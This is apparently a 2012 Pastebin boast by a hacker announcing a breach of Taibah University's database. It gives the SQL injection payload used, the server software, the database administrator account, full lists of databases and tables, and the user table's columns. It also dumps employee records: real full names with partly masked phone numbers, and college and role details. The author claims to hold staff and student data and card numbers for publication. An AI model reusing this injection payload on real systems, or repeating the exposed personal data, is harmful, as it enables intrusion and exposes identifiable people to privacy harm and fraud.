Advertisement
Islam-Hacker

تم اختراق قاعدة بيانات جامعة طيبة by JM511

Aug 6th, 2012
1,026
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.94 KB | None | 0 0
  1. تم اختراق قاعدة بيانات جامعة طيبة
  2. http://www.taibahu.edu.sa
  3. من قبل جني محجوز
  4. هـكـر السـعودية
  5. ترا حنا فاضين ..
  6. BBM: 21EB3DBB
  7. Follow me : www.twitter.com/JM511
  8. ---------------------------------
  9. الاختراق لعيون : راكـان
  10. + Inj3torQ8
  11. + Zombie_KSA
  12. + A.S.G Ahmad
  13. ------------
  14. ممكن اعرف وين الحماية ؟
  15. لمزيد من الحماية الاتصال علي
  16. 0560543435
  17. --------------------------------
  18. #ملاحظة : تم سحب كافة معلومات المدرسين والطلاب والطالبات
  19. وارقام فيز خاصه باصحاب الموقع
  20. وسيتم نشرها قريباً ..
  21. Database: TU
  22. Table: dbo.bankcodes
  23. [18 entries]
  24. +--------+----------+-------------------------------+
  25. | bankno | bankcode | bankname |
  26. +--------+----------+-------------------------------+
  27. | 1 | RJHI | مصرف الراجحي |
  28. | 10 | ARNB | البنك العربي الوطني |
  29. | 11 | BJAZ | بنك الجزيرة |
  30. | 12 | <blank> | مؤسسة النقد العربي السعودي |
  31. | 13 | ALBI | بنك البلاد |
  32. | 15 | DEUT | بنك دوتشيه |
  33. | 16 | EBIL | بنك الامارات |
  34. | 17 | GULF | بنك الخليج |
  35. | 18 | NBOK | البنك الكويت الوطنى |
  36. | 19 | <blank> | صندوق التنمية العقارى |
  37. | 2 | USCB | البنك السعودي المتحد |
  38. | 3 | SIBC | البنك السعودي للاستثمار |
  39. | 4 | AAAL | البنك السعودي الهولندي |
  40. | 5 | BSFR | البنك السعودي الفرنسي |
  41. | 6 | SABB | البنك السعودي البريطاني(ساب) |
  42. | 7 | SAMB | البنك السعودي الامريكي(سامبا) |
  43. | 8 | NCBK | البنك السعودي الاهلي التجاري |
  44. | 9 | RIBL | بنك الرياض |
  45. +--------+----------+--
  46. ---------------------------------
  47.  
  48.  
  49. مسار الخطاء والحقن
  50. -1306' UNION ALL SELECT NULL, CHAR(58)+CHAR(109)+CHAR(105)+CHAR(119)+CHAR(58)+CHAR(97)+CHAR(104)+CHAR(74)+CHAR(117)+CHAR(78)+CHAR(106)+CHAR(109)+CHAR(122)+CHAR(69)+CHAR(85)+CHAR(58)+CHAR(101)+CHAR(121)+CHAR(116)+CHAR(58)--====================================================
  51. نوع النظام :
  52. ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
  53. ====================================================
  54. اسم قاعدة البيانات
  55. Database : TU
  56. ===================================================
  57. database management system users privileges:
  58. [*] sa (administrator)
  59. [*] tup_sql
  60.  
  61. يكفيكم؟
  62. databases: Academic_jobs1, Lecturers, Lecturers05_1433, Lecturers06_1433, Lecturers_general, ReportServer, ReportServerTempDB, TU, [D:\\JAWAZAT-FAHAD-JIDDA\\JAWAZAT\\JAWAZAT\\DATABASE1].MDF, academic, academic1432, academic_1432, academic_jobs_4_1433, employees_tasks, jobs, jobs1432, m_y_transactions, madinah_2013, master, model, msdb, ncaaa, reg, reg_general, tempdb, uvp_jobs, vmware_db
  63. =================
  64. جدول اليوزر نيم والباسوردات
  65.  
  66.  
  67. "Coordinator","bit"
  68. "CUserID","nvarchar"
  69. "EMail","nvarchar"
  70. "EmplooyID","nvarchar"
  71. "EmpName","nvarchar"
  72. "Ext","nchar"
  73. "Mobile","nvarchar"
  74. "Phone","nvarchar"
  75. "UPL","nvarchar"
  76. "UserID","nvarchar"
  77. "UserInfo","nvarchar"
  78. "UserLang","nvarchar"
  79. "UserLocation","nvarchar"
  80. "UserPass","char"
  81. "UserStatus","nvarchar"
  82. "UserTheme","nvarchar"
  83.  
  84. ==================
  85. الجداول في القاعدة
  86. the SQL query used returns 123 entries
  87. Database: TU
  88. [123 tables]
  89. +-------------------------------------+
  90. | dbo.Add_On_Evaluation_Finish |
  91. | dbo.Bas_Employee |
  92. | dbo.Bas_Requests |
  93. | dbo.Bas_UPL |
  94. | dbo.Bas_UnivDept |
  95. | dbo.Bas_UnivDept_Minutiae |
  96. | dbo.Bas_Univ_Category |
  97. | dbo.Bas_directory |
  98. | dbo.Books |
  99. | dbo.Control_Errors |
  100. | dbo.Control_Main_Option |
  101. | dbo.Control_html |
  102. | dbo.EmployeeBankAccount |
  103. | dbo.Faculty_Colleges1 |
  104. | dbo.Has_Not_email |
  105. | dbo.Has_email |
  106. | dbo.Has_email_active |
  107. | dbo.MSP_FORM |
  108. | dbo.Mosabqah |
  109. | dbo.Mosabqah_answers |
  110. | dbo.Pages |
  111. | dbo.Pages_Controls |
  112. | dbo.Pages_Message |
  113. | dbo.Pages_Visitor |
  114. | dbo.Pages_controls_details |
  115. | dbo.Private_Menu |
  116. | dbo.SER_Application_Forms |
  117. | dbo.SER_Circulars |
  118. | dbo.Staff_Posts |
  119. | dbo.Temp_reg |
  120. | dbo.User_Active |
  121. | dbo.User_account |
  122. | dbo.User_group |
  123. | dbo.User_group_account |
  124. | dbo.User_group_page |
  125. | dbo.[Faculty_Colleges] |
  126. | dbo.at_mail_1 |
  127. | dbo.at_mail_2 |
  128. | dbo.at_mail_with_official |
  129. | dbo.bankcodes |
  130. | dbo.base |
  131. | dbo.book1_gallery |
  132. | dbo.book2_gallery |
  133. | dbo.books_publishers |
  134. | dbo.colleges |
  135. | dbo.committee_reg |
  136. | dbo.countries |
  137. | dbo.department_email |
  138. | dbo.departments |
  139. | dbo.dir_branches |
  140. | dbo.dr_emad_omra |
  141. | dbo.e_service_cat |
  142. | dbo.e_service_details |
  143. | dbo.educational_sys |
  144. | dbo.emails |
  145. | dbo.employees_news |
  146. | dbo.faculty_cv |
  147. | dbo.faculty_cv_competitions |
  148. | dbo.faculty_cv_hr_data |
  149. | dbo.faculty_cv_hr_data1 |
  150. | dbo.faculty_cv_hr_data2 |
  151. | dbo.faculty_cv_hr_data3 |
  152. | dbo.faculty_cv_injazat |
  153. | dbo.faculty_cv_jobs |
  154. | dbo.faculty_cv_mobarirat |
  155. | dbo.faculty_data |
  156. | dbo.feduc_member |
  157. | dbo.feduc_member_trainings |
  158. | dbo.fofy_email_hr |
  159. | dbo.fofy_ldap_hr |
  160. | dbo.internet_Vote |
  161. | dbo.internet_VoteM |
  162. | dbo.internet_Vote_Const |
  163. | dbo.internet_arrival_notice |
  164. | dbo.internet_custom_pages_visits |
  165. | dbo.internet_event_papers_email |
  166. | dbo.internet_event_papers_email2 |
  167. | dbo.internet_event_reg |
  168. | dbo.internet_event_reg_companions |
  169. | dbo.internet_events |
  170. | dbo.internet_events_papers |
  171. | dbo.internet_events_papers_authors |
  172. | dbo.internet_events_reg_papers |
  173. | dbo.internet_events_topics |
  174. | dbo.internet_events_worksheets |
  175. | dbo.internet_links |
  176. | dbo.internet_links_types |
  177. | dbo.internet_pages |
  178. | dbo.internet_post_comments |
  179. | dbo.internet_post_kinds |
  180. | dbo.internet_posts |
  181. | dbo.internet_posts_permission |
  182. | dbo.internet_sections |
  183. | dbo.internet_sections_UserID |
  184. | dbo.internet_support |
  185. | dbo.internet_website_settings |
  186. | dbo.it_dep_tickets |
  187. | dbo.it_dep_tickets_user_permissions |
  188. | dbo.msp_degrees |
  189. | dbo.msp_job_types |
  190. | dbo.o_beneficiaries |
  191. | dbo.o_benif_services |
  192. | dbo.o_services |
  193. | dbo.photo_gallery |
  194. | dbo.photo_gallery_cat |
  195. | dbo.president_greetings |
  196. | dbo.programs |
  197. | dbo.public_relations_calender |
  198. | dbo.public_relations_next_event |
  199. | dbo.ramadan1432 |
  200. | dbo.ramadan_1432_answers |
  201. | dbo.req_site |
  202. | dbo.res_authors |
  203. | dbo.sysdiagrams |
  204. | dbo.temp_colleges |
  205. | dbo.temp_dept |
  206. | dbo.tu_directions |
  207. | dbo.update_cp_users |
  208. | dbo.updatesys_visits |
  209. | dbo.yasser_female_q1 |
  210. | dbo.yasser_female_q3 |
  211. | dbo.yasser_male_q1 |
  212. | dbo.yasser_male_q3 |
  213. +-------------------------------------+
  214. ======================
  215.  
  216. Table: dbo.User_account
  217. [53 entries]
  218. +-----------+------------+----------------------------------+--------------+
  219. | Phone | Mobile | EmpName | UserLocation |
  220. +-----------+------------+----------------------------------+--------------+
  221. | - | :)JM51134765 | وجدان حميد حماد الصبحي | <blank> |
  222. | :)JM511 | :)JM511949485 | ياسر عبدالرحمن محمد الغامدي | <blank> |
  223. | :)JM511 | :)JM511310400 | محمد ابراهيم محمد إدريس | <blank> |
  224. | :)JM511 | :)JM51150333 | منصور ناجي محمد القش | <blank> |
  225. | :)JM511 | :)JM511341140 | أمل عبد الرحمن عسيري | <blank> |
  226. | :)JM511 | :)JM51196627 | سلمان سليمان الحربي | <blank> |
  227. | :)JM511 | :)JM511316682 | خالد عبد الرحمن المنفلوطي | <blank> |
  228. | :)JM511 | :)JM51132740 | سراج كردي | <blank> |
  229. | :)JM511 | :)JM51166966 | م.فيصل الغامدي | <blank> |
  230. | :)JM511 | :)JM5115530 | سعود عبد العزيز عبد الوهاب خوجه | <blank> |
  231. | :)JM511 | :)JM51103113 | فاطمة فيصل محمد قباني | <blank> |
  232. | :)JM511 | :)JM51126633 | ابتسام صالح كياله | <blank> |
  233. | :)JM511 | :)JM51116489 | زكريا عبد رب الرسول صفر | <blank> |
  234. | :)JM511 | :)JM5115272 | فهد محمد الرشيدي | <blank> |
  235. | :)JM511 | :)JM51142742 | ياسر حميد اللهيبي | <blank> |
  236. | :)JM511 | :)JM51189599 | د. عمر بن عدنان درويش جلون | <blank> |
  237. | :)JM511 | :)JM51110054 | محمود عبد الستار بخاري | <blank> |
  238. | :)JM511 | :)JM5111259 | رمزي عائض المزيني | <blank> |
  239. | :)JM511 | :)JM51122240 | اسحاق محمد احمد العرفج | <blank> |
  240. | :)JM511 | :)JM51133119 | رامي غازي عباس شندي | <blank> |
  241. | 847:)JM511 | :)JM51101657 | د. حسام عبدالوهاب زمان | <blank> |
  242. | :)JM511602 | :)JM51117673 | عادل عائض معاوض الردادي | <blank> |
  243. | :)JM511792 | :)JM51185215 | مسعد صويدر العروي | <blank> |
  244. | :)JM511819 | :)JM51101812 | هياء محمد صالح الحجيلي | <blank> |
  245. | :)JM511208 | :)JM511318457 | ماجد قاسم شعبي | <blank> |
  246. | :)JM511918 | 0:)JM51101866 | غادة عبد الفضيل كامل عطية | <blank> |
  247. | :)JM511521 | :)JM51116030 | وسام عليثه الحازمي | <blank> |
  248. | :)JM511 | :)JM511283 | طلال مغلي المحمادي | <blank> |
  249. | :)JM511 | :)JM51101800 | عبدالرحمن ناصر عبدالله التركي | <blank> |
  250. | :)JM511 | :)JM5113297 | صلاح ناصر حسن الطيار | <blank> |
  251. | :)JM511 | :)JM51154549 | عبدالمحسن حمدان الزلباني | <blank> |
  252. | :)JM511 | :)JM51140024 | روان أحمد سنيور | <blank> |
  253. | :)JM511 | :)JM5110766 | أحمد عبد المجيد عبد الرحمن قازلي | <blank> |
  254. | 861 | :)JM51149999 | DABUOR | <blank> |
  255. | :)JM511 | :)JM51167642 | م. محمدياسر بني | <blank> |
  256. | :)JM511 | :)JM51128658 | سلطان محمد الحسيني | <blank> |
  257. | :)JM511 | :)JM51126943 | Hisham M Muntaser | <blank> |
  258. | :)JM511 | :)JM51110821 | عادل بن محمد الرويثي | <blank> |
  259. | :)JM511 | :)JM51103988 | هشام محمد علي عبدالله مغربي | <blank> |
  260. | :)JM511 | :)JM51102827 | محمد بن مفرح الزهراني | <blank> |
  261. | :)JM511 | :)JM5118280 | رزان بندر عبدالله النعمان | <blank> |
  262. | :)JM511 | :)JM51125583 | عبدالعزيز السريحي | <blank> |
  263. | :)JM511 | :)JM51127366 | وحيد بلقاسم عمار هرشي | <blank> |
  264. | :)JM511 | :)JM51103735 | ياسر عبيد الله نماء السلمي | <blank> |
  265. | :)JM511 | :)JM51118897 | وليد عبدالرحمن القين | <blank> |
  266. | :)JM511 | :)JM5110000 | أ. إسراء | <blank> |
  267. | asd | asd | asd | <blank> |
  268. | asdf | asdf | asdf | <blank> |
  269. | w | :)JM5116330 | omar aloufi | <blank> |
  270. | بلتا | بلتا | قسم الإعلام | <blank> |
  271. | بيل | 44545 | يبل | <blank> |
  272. | لا يوجد | :)JM51199206 | خالد بن عبدالله بن علي الزهراني | <blank> |
  273. | لايوجد | :)JM51177814 | عيسى الحربي | <blank> |
  274. +-----------+------------+----------------------------------+--------------+
  275.  
  276.  
  277. ==============
  278. Table: dbo.User_account
  279. [414 entries]
  280. +--------------------------------+
  281. | EMail |
  282. +--------------------------------+
  283. [01:21:56] [WARNING] console output will be trimmed to last 256 rows due to large table size
  284. +--------------------------------+
  285. [154 entries]
  286. +------------+----------------------------------------------------------------------------------------------+-----------+------------+
  287. | UserLang | UserInfo | UserTheme | UserStatus |
  288. +------------+----------------------------------------------------------------------------------------------+-----------+------------+
  289. | A\t\t\x03r | كلية العلوم التطبيقية قسم علوم الحاسب والمعلومات | <blank> | $\x05\t\t |
  290. | 0 | كلية العلوم التطبيقية قسم علوم الحاسبات والمعلومات | -1 | 1 |
  291. | 0 | كلية العلوم التطبيقية-حسنين احمد | -1 | 1 |
  292. | <blank> | كلية العلوم الصحية | \x02A | <blank> |
  293. | 0 | كلية العلوم الصحية المتوسطة للبنات | -1 | 1 |
  294. | 0 | كلية العلوم الصحية المتوسطة للبنات بينبع - مستخدم إضافي | -1 | 1 |
  295. | 0 | كلية العلوم الصحية للبنين | -1 | 1 |
  296. | 0 | كلية العلوم الصحية للبنين أ.محمد عطية | -1 | 1 |
  297. | 0 | كلية العلوم الطبية التطبيقية رشيدة محمد نور | -1 | 1 |
  298. | 0 | كلية العلوم الطبية التطبيفية | -1 | 1 |
  299. | 0 | كلية العلوم الطبية التطبيقية | -1 | 1 |
  300. | 0 | كلية العلوم الطبية التطبيقية- الاء الترك | -1 | 1 |
  301. | 0 | كلية العلوم الطبية التطبيقية بالعلا | -1 | 1 |
  302. | 0 | كلية العلوم الطبية التطبيقية بينبع | -1 | 1 |
  303. | 0 | كلية العلوم د .محمود محمود | -1 | 1 |
  304. | 0 | كلية العلوم د.بدوي أبو ابراهيم | -1 | 1 |
  305. | 0 | كلية العلوم فرع ينبع | -1 | 1 |
  306. | <blank> | كلية العلوم قسم الرياضيات | \t | <blank> |
  307. | 0 | كلية العلوم مدير مكتب العميد | -1 | 1 |
  308. | 0 | كلية العلوم والآداب _ ينبع | -1 | 1 |
  309. | 0 | كلية العلوم والآداب العلا | -1 | 1 |
  310. | 0 | كلية العلوم والآداب بالعلا | -1 | 1 |
  311. | 0 | كلية العلوم والآداب بينبع | -1 | 1 |
  312. | 0 | كلية العلوم والاداب بالعلا | -1 | 1 |
  313. | <blank> | كلية العلوم والاداب بالعلا - مستخدم إضافي | <blank> | <blank> |
  314. | 0 | كلية العلوم والاداب بالعلا- محمود محمد سنان | -1 | 1 |
  315. | 0 | كلية العلوم والاداب بينبع | -1 | 1 |
  316. | 0 | كلية العلوم والاداب بينبع - مستخدم إضافي | -1 | 1 |
  317. | 0 | كلية العلوم والاداب بينبع أ. حسام يحيى الحربي | -1 | 1 |
  318. | 0 | كلية العلوم والاداب بينيع | -1 | 1 |
  319. | 0 | كلية العلوم-د.أحمدسالم | -1 | 1 |
  320. | 0 | كلية العلوم-قسم الجيولوجيا | -1 | 1 |
  321. | 0 | كلية المال والأعمال | -1 | 1 |
  322. | 0 | كلية المجتمع | -1 | 1 |
  323. | 0 | كلية المجتمع - طالبات | -1 | 1 |
  324. | 0 | كلية المجتمع بالحناكية - أ.نوف هلال هلال الرويثي | -1 | 1 |
  325. | 0 | كلية المجتمع بالحناكية - أ.ودادعبيدالله عبد الكريم الاحمدي | -1 | 1 |
  326. | 0 | كلية المجتمع بالعلا | -1 | 1 |
  327. | 0 | كلية المجتمع بالمدينة | -1 | 1 |
  328. | 0 | كلية المجتمع بالمدينة المنورة | -1 | 1 |
  329. | 0 | كلية المجتمع بالمهد | -1 | 1 |
  330. | 0 | كلية المجتمع ببدر | -1 | 1 |
  331. | 0 | كلية المجتمع بخيبر | -1 | 1 |
  332. | 0 | كلية المجتمع بخيبر - مستخدم اضافي | -1 | 1 |
  333. | <blank> | كلية المجتمع بمهد الذهب | <blank> | <blank> |
  334. | 0 | كلية المجتمع قسم الطالبات - ا. اسراء سليمان الرحيلي | -1 | 1 |
  335. | 0 | كلية الهندسة | -1 | 1 |
  336. | 0 | كلية الهندسة - قسم الهندسة الكهربائية | -1 | 1 |
  337. | 0 | كلية الهندسة بينبع | -1 | 1 |
  338. | 0 | كلية الهندسة بينبع - د.فراس تفاحة | -1 | 1 |
  339. | 0 | كلية الهندسة بينبع البحر | -1 | 1 |
  340. | 0 | كلية الهندسة بينيع | -1 | 1 |
  341. | 0 | كلية الهندسة جامعة طيبة | -1 | 1 |
  342. | <blank> | كلية الهندسة قسم الهندسة الصناعية | <blank> | <blank> |
  343. | 0 | كلية طب الأسنان | -1 | 1 |
  344. | 0 | كلية طب الأسنان - طالبات
  345.  
  346.  
  347.  
  348. | 974 | 852721175713407 | إعداد الخطة الإستراتيجية لتقنية المعلومات بالجامعة | Jul 21 2012 5:57PM |
  349. | 975 | 852721175713407 | إعادة تصميم الهيكل الإداري لعمادة تقنية المعلومات وفق أسلوب التفويض والمشاركة وحسب المعايير الوطنية والعالمية لتنظيم إدارات تقنية المعلومات | Jul 21 2012 5:57PM |
  350. | 976 | 852721175713407 | تطبيق المرحلة الأولى من أنظمة أوراكل لشؤون الموظفين والنظام المالي والخدمات الذاتية المتعلقة بها | Jul 21 2012 5:57PM |
  351. | 977 | 852721175713407 | تطوير البوابة الإلكترونية وزيادة عدد الخدمات الإلكترونية عليه | Jul 21 2012 5:57PM |
  352. | 978 | 852721175713407 | تطوير البنية التحتية لشبكة الحاسب الآلي السلكية واللاسلكية بالجامعة وربط كافة المباني والفروع بمركز تقنية المعلومات | Jul 21 2012 5:57PM |
  353. | 979 | 852721175713407 | إنشاء مركز خدمة العملاء | Jul 21 2012 5:57PM |
  354. | 98 | 8924133727549 | تدريب أكثر من 4000 إمام وخطيب في 40 دورة علمية لمدة سنتين
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement